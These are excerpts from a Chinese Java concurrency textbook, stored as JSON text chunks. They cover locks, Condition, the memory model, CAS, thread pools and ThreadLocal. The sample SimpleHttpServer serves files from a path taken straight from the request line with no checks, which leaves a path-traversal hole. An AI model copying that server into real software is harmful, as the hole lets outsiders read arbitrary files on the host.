    {"text": "图5-11 当前线程加入等待队列 代码清单5-23 ConditionObject的signal方法 public final void signal() { if (!isHeldExclusively()) throw new IllegalMonitorStateException(); Node first = firstWaiter; if (first != null) doSignal(first); } 调用该方法的前置条件是当前线程必须获取了锁，可以看到signal()方法进行了isHeldExclusively()检查，也就是当前线程必须是获取了锁的线程。"},
    {"text": "节点从等待队列移动到同步队列的过程如图5-12所示。 图5-12 节点从等待队列移动到同步队列 通过调用同步器的enq(Node node)方法，等待队列中的头节点线程安全地移动到同步队列。"},
    {"text": "当节点移动到同步队列后，当前线程再使用LockSupport唤醒该节点的线程。 被唤醒后的线程，将从await()方法中的while循环中退出（isOnSyncQueue(Node node)方法返回true，节点已经在同步队列中），进而调用同步器的acquireQueued()方法加入到获取同步状态的竞争中。 成功获取同步状态（或者说锁）之后，被唤醒的线程将从先前调用的await()方法返回，此时该线程已经成功地获取了锁。 Condition的signalAll()方法，相当于对等待队列中的每个节点均执行一次signal()方法，效果就是将等待队列中所有节点全部移动到同步队列中，并唤醒每个节点的线程。"},
    {"text": "Unknown 3.6.3 读final域的重排序规则 读final域的重排序规则是，在一个线程中，初次读对象引用与初次读该对象包含的final域，JMM禁止处理器重排序这两个操作（注意，这个规则仅仅针对处理器）。编译器会在读final域操作的前面插入一个LoadLoad屏障。 初次读对象引用与初次读该对象包含的final域，这两个操作之间存在间接依赖关系。由于编译器遵守间接依赖关系，因此编译器不会重排序这两个操作。大多数处理器也会遵守间接依赖，也不会重排序这两个操作。但有少数处理器允许对存在间接依赖关系的操作做重排序（比如alpha处理器），这个规则就是专门用来针对这种处理器的。 reader()方法包含3个操作。 ·初次读引用变量obj。 ·初次读引用变量obj指向对象的普通域j。 ·初次读引用变量obj指向对象的final域i。 现在假设写线程A没有发生任何重排序，同时程序在不遵守间接依赖的处理器上执行，图3-30所示是一种可能的执行时序。 图3-30 线程执行时序图 在图3-30中，读对象的普通域的操作被处理器重排序到读对象引用之前。读普通域时，该域还没有被写线程A写入，这是一个错误的读取操作。而读final域的重排序规则会把读对象final域的操作“限定”在读对象引用之后，此时该final域已经被A线程初始化过了，这是一个正确的读取操作。 读final域的重排序规则可以确保：在读一个对象的final域之前，一定会先读包含这个final域的对象的引用。在这个示例程序中，如果该引用不为null，那么引用对象的final域一定已经被A线程初始化过了。 Unknown 6.1 ConcurrentHashMap的实现原理与使用 ConcurrentHashMap是线程安全且高效的HashMap。本节让我们一起研究一下该容器是如何在保证线程安全的同时又能保证高效的操作。 Unknown 3.6.5 为什么final引用不能从构造函数内“溢出” 前面我们提到过，写final域的重排序规则可以确保：在引用变量为任意线程可见之前，该引用变量指向的对象的final域已经在构造函数中被正确初始化过了。其实，要得到这个效果，还需要一个保证：在构造函数内部，不能让这个被构造对象的引用为其他线程所见，也就是对象引用不能在构造函数中“逸出”。为了说明问题，让我们来看下面的示例代码。 public class FinalReferenceEscapeExample { final int i; static FinalReferenceEscapeExample obj; public FinalReferenceEscapeExample () { i = 1; // 1写final域 obj = this; // 2 this引用在此\"逸出\" } public static void writer() { new FinalReferenceEscapeExample (); } public static void reader() { if (obj != null) { // 3 int temp = obj.i; // 4 } } } 图3-31 引用型final的执行时序图 假设一个线程A执行writer()方法，另一个线程B执行reader()方法。这里的操作2使得对象还未完成构造前就为线程B可见。即使这里的操作2是构造函数的最后一步，且在程序中操作2排在操作1后面，执行read()方法的线程仍然可能无法看到final域被初始化后的值，因为这里的操作1和操作2之间可能被重排序。实际的执行时序可能如图3-32所示。 图3-32 多线程执行时序图 从图3-32可以看出：在构造函数返回前，被构造对象的引用不能为其他线程所见，因为此时的final域可能还没有被初始化。在构造函数返回后，任意线程都将保证能看到final域正确初始化之后的值。"},
    {"text": "Unknown 4.3.1 volatile和synchronized关键字 Java支持多个线程同时访问一个对象或者对象的成员变量，由于每个线程可以拥有这个变量的拷贝（虽然对象以及成员变量分配的内存是在共享内存中的，但是每个执行的线程还是可以拥有一份拷贝，这样做的目的是加速程序的执行，这是现代多核处理器的一个显著特性），所以程序在执行过程中，一个线程看到的变量并不一定是最新的。 关键字volatile可以用来修饰字段（成员变量），就是告知程序任何对该变量的访问均需要从共享内存中获取，而对它的改变必须同步刷新回共享内存，它能保证所有线程对变量访问的可见性。 举个例子，定义一个表示程序是否运行的成员变量boolean on=true，那么另一个线程可能对它执行关闭动作（on=false），这里涉及多个线程对变量的访问，因此需要将其定义成为volatile boolean on＝true，这样其他线程对它进行改变时，可以让所有线程感知到变化，因为所有对on变量的访问和修改都需要以共享内存为准。但是，过多地使用volatile是不必要的，因为它会降低程序执行的效率。 关键字synchronized可以修饰方法或者以同步块的形式来进行使用，它主要确保多个线程在同一个时刻，只能有一个线程处于方法或者同步块中，它保证了线程对变量访问的可见性和排他性。 在代码清单4-10所示的例子中，使用了同步块和同步方法，通过使用javap工具查看生成的class文件信息来分析synchronized关键字的实现细节，示例如下。 代码清单4-10 Synchronized.java public class Synchronized { public static void main(String[] args) { // 对Synchronized Class对象进行加锁 synchronized (Synchronized.class) { } // 静态同步方法，对Synchronized Class对象进行加锁 m(); } public static synchronized void m() { } } 在Synchronized.class同级目录执行javap–v Synchronized.class，部分相关输出如下所示： public static void main(java.lang.String[]); // 方法修饰符，表示：public staticflags: ACC_PUBLIC, ACC_STATIC Code: stack=2, locals=1, args_size=1 0: ldc #1 // class com/murdock/books/multithread/book/Synchronized 2: dup 3: monitorenter // monitorenter：监视器进入，获取锁 4: monitorexit // monitorexit：监视器退出，释放锁 5: invokestatic #16 // Method m:()V 8: return public static synchronized void m(); // 方法修饰符，表示： public static synchronized flags: ACC_PUBLIC, ACC_STATIC, ACC_SYNCHRONIZED Code: stack=0, locals=0, args_size=0 0: return 上面class信息中，对于同步块的实现使用了monitorenter和monitorexit指令，而同步方法则是依靠方法修饰符上的ACC_SYNCHRONIZED来完成的。无论采用哪种方式，其本质是对一个对象的监视器（monitor）进行获取，而这个获取过程是排他的，也就是同一时刻只能有一个线程获取到由synchronized所保护对象的监视器。 任意一个对象都拥有自己的监视器，当这个对象由同步块或者这个对象的同步方法调用时，执行方法的线程必须先获取到该对象的监视器才能进入同步块或者同步方法，而没有获取到监视器（执行该方法）的线程将会被阻塞在同步块和同步方法的入口处，进入BLOCKED状态。 图4-2描述了对象、对象的监视器、同步队列和执行线程之间的关系。 图4-2 对象、监视器、同步队列和执行线程之间的关系 从图4-2中可以看到，任意线程对Object（Object由synchronized保护）的访问，首先要获得Object的监视器。如果获取失败，线程进入同步队列，线程状态变为BLOCKED。当访问Object的前驱（获得了锁的线程）释放了锁，则该释放操作唤醒阻塞在同步队列中的线程，使其重新尝试对监视器的获取。 Unknown 3.5.4 concurrent包的实现 由于Java的CAS同时具有volatile读和volatile写的内存语义，因此Java线程之间的通信现在有了下面4种方式。 1）A线程写volatile变量，随后B线程读这个volatile变量。 2）A线程写volatile变量，随后B线程用CAS更新这个volatile变量。 3）A线程用CAS更新一个volatile变量，随后B线程用CAS更新这个volatile变量。 4）A线程用CAS更新一个volatile变量，随后B线程读这个volatile变量。 Java的CAS会使用现代处理器上提供的高效机器级别的原子指令，这些原子指令以原子方式对内存执行读-改-写操作，这是在多处理器中实现同步的关键（从本质上来说，能够支持原子性读-改-写指令的计算机，是顺序计算图灵机的异步等价机器，因此任何现代的多处理器都会去支持某种能对内存执行原子性读-改-写操作的原子指令）。同时，volatile变量的读/写和CAS可以实现线程之间的通信。把这些特性整合在一起，就形成了整个concurrent包得以实现的基石。如果我们仔细分析concurrent包的源代码实现，会发现一个通用化的实现模式。 首先，声明共享变量为volatile。 然后，使用CAS的原子条件更新来实现线程之间的同步。 同时，配合以volatile的读/写和CAS所具有的volatile读和写的内存语义来实现线程之间的通信。 AQS，非阻塞数据结构和原子变量类（java.util.concurrent.atomic包中的类），这些concurrent包中的基础类都是使用这种模式来实现的，而concurrent包中的高层类又是依赖于这些基础类来实现的。从整体来看，concurrent包的实现示意图如3-28所示。 图3-28 concurrent包的实现示意图"},
    {"text": "Unknown 第1章 并发编程的挑战 并发编程的目的是为了让程序运行得更快，但是，并不是启动更多的线程就能让程序最大限度地并发执行。在进行并发编程时，如果希望通过多线程执行任务让程序运行得更快，会面临非常多的挑战，比如上下文切换的问题、死锁的问题，以及受限于硬件和软件的资源限制问题，本章会介绍几种并发编程的挑战以及解决方案。"},
    {"text": "Unknown 4.4.4 一个基于线程池技术的简单Web服务器 目前的浏览器都支持多线程访问，比如说在请求一个HTML页面的时候，页面中包含的图片资源、样式资源会被浏览器发起并发的获取，这样用户就不会遇到一直等到一个图片完全下载完成才能继续查看文字内容的尴尬情况。"},
    {"text": "常用的Java Web服务器，如Tomcat、Jetty，在其处理请求的过程中都使用到了线程池技术。 下面通过使用前一节中的线程池来构造一个简单的Web服务器，这个Web服务器用来处理HTTP请求，目前只能处理简单的文本和JPG图片内容。 这个Web服务器使用main线程不断地接受客户端Socket的连接，将连接以及请求提交给线程池处理，这样使得Web服务器能够同时处理多个客户端请求，示例如代码清单4-21所示。 代码清单4-21 SimpleHttpServer.java public class SimpleHttpServer { // 处理HttpRequest的线程池 static ThreadPool<HttpRequestHandler> threadPool = new DefaultThreadPool <HttpRequestHandler>(1); // SimpleHttpServer的根路径 static String basePath; static ServerSocket serverSocket; // 服务监听端口 static int port = 8080; public static void setPort(int port) { if (port > 0) { SimpleHttpServer.port = port; } } public static void setBasePath(String basePath) { if (basePath != null && new File(basePath).exists() && new File(basePath). isDirectory()) { SimpleHttpServer.basePath = basePath; } } // 启动SimpleHttpServer public static void start() throws Exception { serverSocket = new ServerSocket(port); Socket socket = null; while ((socket = serverSocket.accept()) != null) { // 接收一个客户端Socket，生成一个HttpRequestHandler，放入线程池执行 threadPool.execute(new HttpRequestHandler(socket)); } serverSocket.close(); } static class HttpRequestHandler implements Runnable { private Socket socket; public HttpRequestHandler(Socket socket) { this.socket = socket; } @Override public void run() { String line = null; BufferedReader br = null; BufferedReader reader = null; PrintWriter out = null; InputStream in = null; try { reader = new BufferedReader(new InputStreamReader(socket.getInputStream())); String header = reader.readLine(); // 由相对路径计算出绝对路径 String filePath = basePath + header.split(\" \")[1]; out = new PrintWriter(socket.getOutputStream()); // 如果请求资源的后缀为jpg或者ico，则读取资源并输出 if (filePath.endsWith(\"jpg\") || filePath.endsWith(\"ico\")) { in = new FileInputStream(filePath); ByteArrayOutputStream baos = new ByteArrayOutputStream(); int i = 0; while ((i = in.read()) != -1) { baos.write(i); } byte[] array = baos.toByteArray(); out.println(\"HTTP/1.1 200 OK\"); out.println(\"Server: Molly\"); out.println(\"Content-Type: image/jpeg\"); out.println(\"Content-Length: \" + array.length); out.println(\"\"); socket.getOutputStream().write(array, 0, array.length); } else { br = new BufferedReader(new InputStreamReader(new FileInputStream(filePath))); out = new PrintWriter(socket.getOutputStream()); out.println(\"HTTP/1.1 200 OK\"); out.println(\"Server: Molly\"); out.println(\"Content-Type: text/html; charset=UTF-8\"); out.println(\"\"); while ((line = br.readLine()) != null) { out.println(line); } } out.flush(); } catch (Exception ex) { out.println(\"HTTP/1.1 500\"); out.println(\"\"); out.flush(); } finally { close(br, in, reader, out, socket); } } } // 关闭流或者Socket private static void close(Closeable... closeables) { if (closeables != null) { for (Closeable closeable : closeables) { try { closeable.close(); } catch (Exception ex) { } } } } } 该Web服务器处理用户请求的时序图如，图44所示。 在图4-4中，SimpleHttpServer在建立了与客户端的连接之后，并不会处理客户端的请求，而是将其包装成HttpRequestHandler并交由线程池处理。 在线程池中的Worker处理客户端请求的同时，SimpleHttpServer能够继续完成后续客户端连接的建立，不会阻塞后续客户端的请求。"},
    {"text": "图4-4 SimpleHttpServer时序图 代码清单4-22 Index.html <html> <head> <title>测试页面</title> </head> <body > <h1>第一张图片</h1> <img src=\"1.jpg\" /> <h1>第二张图片</h1> <img src=\"2.jpg\" /> <h1>第三张图片</h1> <img src=\"3.jpg\" /> </body> </html> 将SimpleHttpServer的根目录设定到该HTML页面所在目录，并启动SimpleHttpServer，通过Apache HTTP server benchmarking tool（版本2.3）来测试不同线程数下，SimpleHttpServer的吞吐量表现。"},
    {"text": "测试场景是5000次请求，分10个线程并发执行，测试内容主要考察响应时间（越小越好）和每秒查询的数量（越高越好），测试结果如表4-4所示（笔者机器CPU：i7-3635QM，内存为8GB，实际输出可能与此表不同）。"},
    {"text": "class ReentrantLockExample { int a = 0; ReentrantLock lock = new ReentrantLock(); public void writer() { lock.lock(); // 获取锁 try { a++; } f inally { lock.unlock(); // 释放锁 } } public void reader () { lock.lock(); // 获取锁 try { int i = a; …… } f inally { lock.unlock(); // 释放锁 } } } 在ReentrantLock中，调用lock()方法获取锁； 调用unlock()方法释放锁。"},
    {"text": "protected final boolean tryAcquire(int acquires) { final Thread current = Thread.currentThread(); int c = getState(); // 获取锁的开始，首先读volatile变量state if (c == 0) { if (isFirst(current) && compareAndSetState(0, acquires)) { setExclusiveOwnerThread(current); return true; } } else if (current == getExclusiveOwnerThread()) { int nextc = c + acquires; if (nextc < 0) throw new Error(\"Maximum lock count exceeded\"); setState(nextc); return true; } return false; } 从上面源代码中我们可以看出，加锁方法首先读volatile变量state。"},
    {"text": "protected final boolean tryRelease(int releases) { int c = getState() - releases; if (Thread.currentThread() != getExclusiveOwnerThread()) throw new IllegalMonitorStateException(); boolean free = false; if (c == 0) { free = true; setExclusiveOwnerThread(null); } setState(c); // 释放锁的最后，写volatile变量state return free; } 从上面的源代码可以看出，在释放锁的最后写volatile变量state。 公平锁在释放锁的最后写volatile变量state，在获取锁时首先读这个volatile变量。 根据volatile的happens-before规则，释放锁的线程在写volatile变量之前可见的共享变量，在获取锁的线程读取同一个volatile变量后将立即变得对获取锁的线程可见。"},
    {"text": "protected final boolean compareAndSetState(int expect, int update) { return unsafe.compareAndSwapInt(this, stateOffset, expect, update); } 该方法以原子操作的方式更新state变量，本文把Java的compareAndSet()方法调用简称为CAS。"},
    {"text": "前文我们提到过，编译器不会对volatile读与volatile读后面的任意内存操作重排序； 编译器不会对volatile写与volatile写前面的任意内存操作重排序。 组合这两个条件，意味着为了同时实现volatile读和volatile写的内存语义，编译器不能对CAS与CAS前面和后面的任意内存操作重排序。"},
    {"text": "这个本地方法在openjdk中依次调用的c++代码为：unsafe.cpp，atomic.cpp和atomic_windows_x86.inline.hpp。 这个本地方法的最终实现在openjdk的如下位置：openjdk-7-fcs-src-b147-27_jun_2011\\openjdk\\hotspot\\src\\os_cpu\\windows_x86\\vm\\atomic_windows_x86.inline.hpp（对应于Windows操作系统，X86处理器）。"},
    {"text": "inline jint Atomic::cmpxchg (jint exchange_value, volatile jint* dest, jint compare_value) { // alternative for InterlockedCompareExchange int mp = os::is_MP(); __asm { mov edx, dest mov ecx, exchange_value mov eax, compare_value LOCK_IF_MP(mp) cmpxchg dword ptr [edx], ecx } } 如上面源代码所示，程序会根据当前处理器的类型来决定是否为cmpxchg指令添加lock前缀。 如果程序是在多处理器上运行，就为cmpxchg指令加上lock前缀（Lock Cmpxchg）。 反之，如果程序是在单处理器上运行，就省略lock前缀（单处理器自身会维护单处理器内的顺序一致性，不需要lock前缀提供的内存屏障效果）。"},
    {"text": "·公平锁和非公平锁释放时，最后都要写一个volatile变量state。 ·公平锁获取时，首先会去读volatile变量。 ·非公平锁获取时，首先会用CAS更新volatile变量，这个操作同时具有volatile读和volatile写的内存语义。"},
    {"text": "Unknown 4.2.4 过期的suspend()、resume()和stop() 大家对于CD机肯定不会陌生，如果把它播放音乐比作一个线程的运作，那么对音乐播放做出的暂停、恢复和停止操作对应在线程Thread的API就是suspend()、resume()和stop()。 在代码清单4-8所示的例子中，创建了一个线程PrintThread，它以1秒的频率进行打印，而主线程对其进行暂停、恢复和停止操作。 代码清单4-8 Deprecated.java public class Deprecated { public static void main(String[] args) throws Exception { DateFormat format = new SimpleDateFormat(\"HH:mm:ss\"); Thread printThread = new Thread(new Runner(), \"PrintThread\"); printThread.setDaemon(true); printThread.start(); TimeUnit.SECONDS.sleep(3); // 将PrintThread进行暂停，输出内容工作停止 printThread.suspend(); System.out.println(\"main suspend PrintThread at \" + format.format(new Date())); TimeUnit.SECONDS.sleep(3); // 将PrintThread进行恢复，输出内容继续 printThread.resume(); System.out.println(\"main resume PrintThread at \" + format.format(new Date())); TimeUnit.SECONDS.sleep(3); // 将PrintThread进行终止，输出内容停止 printThread.stop(); System.out.println(\"main stop PrintThread at \" + format.format(new Date())); TimeUnit.SECONDS.sleep(3); } static class Runner implements Runnable { @Override public void run() { DateFormat format = new SimpleDateFormat(\"HH:mm:ss\"); while (true) { System.out.println(Thread.currentThread().getName() + \" Run at \" + format.format(new Date())); SleepUtils.second(1); } } } } 输出如下（输出内容中的时间与示例执行的具体时间相关）。 PrintThread Run at 17:34:36 PrintThread Run at 17:34:37 PrintThread Run at 17:34:38 main suspend PrintThread at 17:34:39 main resume PrintThread at 17:34:42 PrintThread Run at 17:34:42 PrintThread Run at 17:34:43 PrintThread Run at 17:34:44 main stop PrintThread at 17:34:45 在执行过程中，PrintThread运行了3秒，随后被暂停，3秒后恢复，最后经过3秒被终止。 通过示例的输出可以看到，suspend()、resume()和stop()方法完成了线程的暂停、恢复和终止工作，而且非常“人性化”。但是这些API是过期的，也就是不建议使用的。 不建议使用的原因主要有：以suspend()方法为例，在调用后，线程不会释放已经占有的资源（比如锁），而是占有着资源进入睡眠状态，这样容易引发死锁问题。同样，stop()方法在终结一个线程时不会保证线程的资源正常释放，通常是没有给予线程完成资源释放工作的机会，因此会导致程序可能工作在不确定状态下。 注意 正因为suspend()、resume()和stop()方法带来的副作用，这些方法才被标注为不建议使用的过期方法，而暂停和恢复操作可以用后面提到的等待/通知机制来替代。 Unknown 10.2.2 SingleThreadExecutor详解 SingleThreadExecutor是使用单个worker线程的Executor。下面是SingleThreadExecutor的源代码实现。 public static ExecutorService newSingleThreadExecutor() { return new FinalizableDelegatedExecutorService (new ThreadPoolExecutor(1, 1, 0L, TimeUnit.MILLISECONDS, new LinkedBlockingQueue<Runnable>())); } SingleThreadExecutor的corePoolSize和maximumPoolSize被设置为1。其他参数与FixedThreadPool相同。SingleThreadExecutor使用无界队列LinkedBlockingQueue作为线程池的工作队列（队列的容量为Integer.MAX_VALUE）。SingleThreadExecutor使用无界队列作为工作队列对线程池带来的影响与FixedThreadPool相同，这里就不赘述了。 SingleThreadExecutor的运行示意图如图10-5所示。 图10-5 SingleThreadExecutor的execute()的运行示意图 对图10-5的说明如下。 1）如果当前运行的线程数少于corePoolSize（即线程池中无运行的线程），则创建一个新线程来执行任务。 2）在线程池完成预热之后（当前线程池中有一个运行的线程），将任务加入Linked-BlockingQueue。 3）线程执行完1中的任务后，会在一个无限循环中反复从LinkedBlockingQueue获取任务来执行。"},
    {"text": "Unknown 11.4 异步任务池 Java中的线程池设计得非常巧妙，可以高效并发执行多个任务，但是在某些场景下需要对线程池进行扩展才能更好地服务于系统。例如，如果一个任务仍进线程池之后，运行线程池的程序重启了，那么线程池里的任务就会丢失。另外，线程池只能处理本机的任务，在集群环境下不能有效地调度所有机器的任务。所以，需要结合线程池开发一个异步任务处理池。图11-2为异步任务池设计图。 图11-2 异步任务池设计图 任务池的主要处理流程是，每台机器会启动一个任务池，每个任务池里有多个线程池，当某台机器将一个任务交给任务池后，任务池会先将这个任务保存到数据中，然后某台机器上的任务池会从数据库中获取待执行的任务，再执行这个任务。 每个任务有几种状态，分别是创建（NEW）、执行中（EXECUTING）、RETRY（重试）、挂起（SUSPEND）、中止（TEMINER）和执行完成（FINISH）。 ·创建：提交给任务池之后的状态。 ·执行中：任务池从数据库中拿到任务执行时的状态。 ·重试：当执行任务时出现错误，程序显式地告诉任务池这个任务需要重试，并设置下一次执行时间。 ·挂起：当一个任务的执行依赖于其他任务完成时，可以将这个任务挂起，当收到消息后，再开始执行。 ·中止：任务执行失败，让任务池停止执行这个任务，并设置错误消息告诉调用端。 ·执行完成：任务执行结束。 任务池的任务隔离 。异步任务有很多种类型，比如抓取网页任务、同步数据任务等，不同类型的任务优先级不一样，但是系统资源是有限的，如果低优先级的任务非常多，高优先级的任务就可能得不到执行，所以必须对任务进行隔离执行。使用不同的线程池处理不同的任务，或者不同的线程池处理不同优先级的任务，如果任务类型非常少，建议用任务类型来隔离，如果任务类型非常多，比如几十个，建议采用优先级的方式来隔离。 任务池的重试策略 。根据不同的任务类型设置不同的重试策略，有的任务对实时性要求高，那么每次的重试间隔就会非常短，如果对实时性要求不高，可以采用默认的重试策略，重试间隔随着次数的增加，时间不断增长，比如间隔几秒、几分钟到几小时。每个任务类型可以设置执行该任务类型线程池的最小和最大线程数、最大重试次数。 使用任务池的注意事项 。任务必须无状态：任务不能在执行任务的机器中保存数据，比如某个任务是处理上传的文件，任务的属性里有文件的上传路径，如果文件上传到机器1，机器2获取到了任务则会处理失败，所以上传的文件必须存在其他的集群里，比如OSS或SFTP。 异步任务的属性 。包括任务名称、下次执行时间、已执行次数、任务类型、任务优先级和执行时的报错信息（用于快速定位问题）。"},
    {"text": "Unknown 9.2 线程池的使用 9.2.1 线程池的创建 我们可以通过ThreadPoolExecutor来创建一个线程池。 new ThreadPoolExecutor(corePoolSize, maximumPoolSize, keepAliveTime, milliseconds,runnableTaskQueue, handler); 创建一个线程池时需要输入几个参数，如下。 1）corePoolSize（线程池的基本大小）：当提交一个任务到线程池时，线程池会创建一个线程来执行任务，即使其他空闲的基本线程能够执行新任务也会创建线程，等到需要执行的任务数大于线程池基本大小时就不再创建。如果调用了线程池的prestartAllCoreThreads()方法，线程池会提前创建并启动所有基本线程。 2）runnableTaskQueue（任务队列）：用于保存等待执行的任务的阻塞队列。可以选择以下几个阻塞队列。 ·ArrayBlockingQueue：是一个基于数组结构的有界阻塞队列，此队列按FIFO（先进先出）原则对元素进行排序。 ·LinkedBlockingQueue：一个基于链表结构的阻塞队列，此队列按FIFO排序元素，吞吐量通常要高于ArrayBlockingQueue。静态工厂方法Executors.newFixedThreadPool()使用了这个队列。 ·SynchronousQueue：一个不存储元素的阻塞队列。每个插入操作必须等到另一个线程调用移除操作，否则插入操作一直处于阻塞状态，吞吐量通常要高于Linked-BlockingQueue，静态工厂方法Executors.newCachedThreadPool使用了这个队列。 ·PriorityBlockingQueue：一个具有优先级的无限阻塞队列。 3）maximumPoolSize（线程池最大数量）：线程池允许创建的最大线程数。如果队列满了，并且已创建的线程数小于最大线程数，则线程池会再创建新的线程执行任务。值得注意的是，如果使用了无界的任务队列这个参数就没什么效果。 4）ThreadFactory：用于设置创建线程的工厂，可以通过线程工厂给每个创建出来的线程设置更有意义的名字。使用开源框架guava提供的ThreadFactoryBuilder可以快速给线程池里的线程设置有意义的名字，代码如下。 new ThreadFactoryBuilder().setNameFormat(\"XX-task-%d\").build(); 5）RejectedExecutionHandler（饱和策略）：当队列和线程池都满了，说明线程池处于饱和状态，那么必须采取一种策略处理提交的新任务。这个策略默认情况下是AbortPolicy，表示无法处理新任务时抛出异常。在JDK 1.5中Java线程池框架提供了以下4种策略。 ·AbortPolicy：直接抛出异常。 ·CallerRunsPolicy：只用调用者所在线程来运行任务。 ·DiscardOldestPolicy：丢弃队列里最近的一个任务，并执行当前任务。 ·DiscardPolicy：不处理，丢弃掉。 当然，也可以根据应用场景需要来实现RejectedExecutionHandler接口自定义策略。如记录日志或持久化存储不能处理的任务。 ·keepAliveTime（线程活动保持时间）：线程池的工作线程空闲后，保持存活的时间。所以，如果任务很多，并且每个任务执行的时间比较短，可以调大时间，提高线程的利用率。 ·TimeUnit（线程活动保持时间的单位）：可选的单位有天（DAYS）、小时（HOURS）、分钟（MINUTES）、毫秒（MILLISECONDS）、微秒（MICROSECONDS，千分之一毫秒）和纳秒（NANOSECONDS，千分之一微秒）。 Unknown 8.5 本章小结 本章配合一些应用场景介绍JDK中提供的几个并发工具类，大家记住这个工具类的用途，一旦有对应的业务场景，不妨试试这些工具类。"},
    {"text": "Unknown 5.6.1 Condition接口与示例 Condition定义了等待/通知两种类型的方法，当前线程调用这些方法时，需要提前获取到Condition对象关联的锁。Condition对象是由Lock对象（调用Lock对象的newCondition()方法）创建出来的，换句话说，Condition是依赖Lock对象的。 Condition的使用方式比较简单，需要注意在调用方法前获取锁，使用方式如代码清单5-20所示。 代码清单5-20 ConditionUseCase.java Lock lock = new ReentrantLock(); Condition condition = lock.newCondition(); public void conditionWait() throws InterruptedException { lock.lock(); try { condition.await(); } finally { lock.unlock(); } } public void conditionSignal() throws InterruptedException { lock.lock(); try { condition.signal(); } finally { lock.unlock(); } } 如示例所示，一般都会将Condition对象作为成员变量。当调用await()方法后，当前线程会释放锁并在此等待，而其他线程调用Condition对象的signal()方法，通知当前线程后，当前线程才从await()方法返回，并且在返回前已经获取了锁。 Condition定义的（部分）方法以及描述如表5-13所示。 表5-13 Condition的（部分）方法以及描述 获取一个Condition必须通过Lock的newCondition()方法。下面通过一个有界队列的示例来深入了解Condition的使用方式。有界队列是一种特殊的队列，当队列为空时，队列的获取操作将会阻塞获取线程，直到队列中有新增元素，当队列已满时，队列的插入操作将会阻塞插入线程，直到队列出现“空位”，如代码清单5-21所示。 代码清单5-21 BoundedQueue.java public class BoundedQueue<T> { private Object[] items; // 添加的下标，删除的下标和数组当前数量 private int addIndex, removeIndex, count; private Lock lock = new ReentrantLock(); private Condition notEmpty = lock.newCondition(); private Condition notFull = lock.newCondition(); public BoundedQueue(int size) { items = new Object[size]; } // 添加一个元素，如果数组满，则添加线程进入等待状态，直到有\"空位\" public void add(T t) throws InterruptedException { lock.lock(); try { while (count == items.length) notFull.await(); items[addIndex] = t; if (++addIndex == items.length) addIndex = 0; ++count; notEmpty.signal(); } finally { lock.unlock(); } } // 由头部删除一个元素，如果数组空，则删除线程进入等待状态，直到有新添加元素 @SuppressWarnings(\"unchecked\") public T remove() throws InterruptedException { lock.lock(); try { while (count == 0) notEmpty.await(); Object x = items[removeIndex]; if (++removeIndex == items.length) removeIndex = 0; --count; notFull.signal(); return (T) x; } finally { lock.unlock(); } } } 上述示例中，BoundedQueue通过add(T t)方法添加一个元素，通过remove()方法移出一个元素。以添加方法为例。 首先需要获得锁，目的是确保数组修改的可见性和排他性。当数组数量等于数组长度时，表示数组已满，则调用notFull.await()，当前线程随之释放锁并进入等待状态。如果数组数量不等于数组长度，表示数组未满，则添加元素到数组中，同时通知等待在notEmpty上的线程，数组中已经有新元素可以获取。 在添加和删除方法中使用while循环而非if判断，目的是防止过早或意外的通知，只有条件符合才能够退出循环。回想之前提到的等待/通知的经典范式，二者是非常类似的。 Unknown 3.1 Java内存模型的基础 3.1.1 并发编程模型的两个关键问题 在并发编程中，需要处理两个关键问题：线程之间如何通信及线程之间如何同步（这里的线程是指并发执行的活动实体）。通信是指线程之间以何种机制来交换信息。在命令式编程中，线程之间的通信机制有两种：共享内存和消息传递。 在共享内存的并发模型里，线程之间共享程序的公共状态，通过写-读内存中的公共状态进行隐式通信。在消息传递的并发模型里，线程之间没有公共状态，线程之间必须通过发送消息来显式进行通信。 同步是指程序中用于控制不同线程间操作发生相对顺序的机制。在共享内存并发模型里，同步是显式进行的。程序员必须显式指定某个方法或某段代码需要在线程之间互斥执行。在消息传递的并发模型里，由于消息的发送必须在消息的接收之前，因此同步是隐式进行的。 Java的并发采用的是共享内存模型，Java线程之间的通信总是隐式进行，整个通信过程对程序员完全透明。如果编写多线程程序的Java程序员不理解隐式进行的线程之间通信的工作机制，很可能会遇到各种奇怪的内存可见性问题。 Unknown 7.5 本章小结 本章介绍了JDK中并发包里的13个原子操作类以及原子操作类的实现原理，读者需要熟悉这些类和使用场景，在适当的场合下使用它。"},
    {"text": "Unknown 9.2.5 线程池的监控 如果在系统中大量使用线程池，则有必要对线程池进行监控，方便在出现问题时，可以根据线程池的使用状况快速定位问题。可以通过线程池提供的参数进行监控，在监控线程池的时候可以使用以下属性。 ·taskCount：线程池需要执行的任务数量。 ·completedTaskCount：线程池在运行过程中已完成的任务数量，小于或等于taskCount。 ·largestPoolSize：线程池里曾经创建过的最大线程数量。通过这个数据可以知道线程池是否曾经满过。如该数值等于线程池的最大大小，则表示线程池曾经满过。 ·getPoolSize：线程池的线程数量。如果线程池不销毁的话，线程池里的线程不会自动销毁，所以这个大小只增不减。 ·getActiveCount：获取活动的线程数。 通过扩展线程池进行监控。可以通过继承线程池来自定义线程池，重写线程池的beforeExecute、afterExecute和terminated方法，也可以在任务执行前、执行后和线程池关闭前执行一些代码来进行监控。例如，监控任务的平均执行时间、最大执行时间和最小执行时间等。这几个方法在线程池里是空方法。 protected void beforeExecute(Thread t, Runnable r) { } Unknown 4.3.6 ThreadLocal的使用 ThreadLocal，即线程变量，是一个以ThreadLocal对象为键、任意对象为值的存储结构。这个结构被附带在线程上，也就是说一个线程可以根据一个ThreadLocal对象查询到绑定在这个线程上的一个值。 可以通过set(T)方法来设置一个值，在当前线程下再通过get()方法获取到原先设置的值。 在代码清单4-15所示的例子中，构建了一个常用的Profiler类，它具有begin()和end()两个方法，而end()方法返回从begin()方法调用开始到end()方法被调用时的时间差，单位是毫秒。 代码清单4-15 Profiler.java public class Profiler { // 第一次get()方法调用时会进行初始化（如果set方法没有调用），每个线程会调用一次 private static final ThreadLocal<Long> TIME_THREADLOCAL = new ThreadLocal<Long>() { protected Long initialValue() { return System.currentTimeMillis(); } }; public static final void begin() { TIME_THREADLOCAL.set(System.currentTimeMillis()); } public static final long end() { return System.currentTimeMillis() - TIME_THREADLOCAL.get(); } public static void main(String[] args) throws Exception { Profiler.begin(); TimeUnit.SECONDS.sleep(1); System.out.println(\"Cost: \" + Profiler.end() + \" mills\"); } } 输出结果如下所示。 Cost: 1001 mills 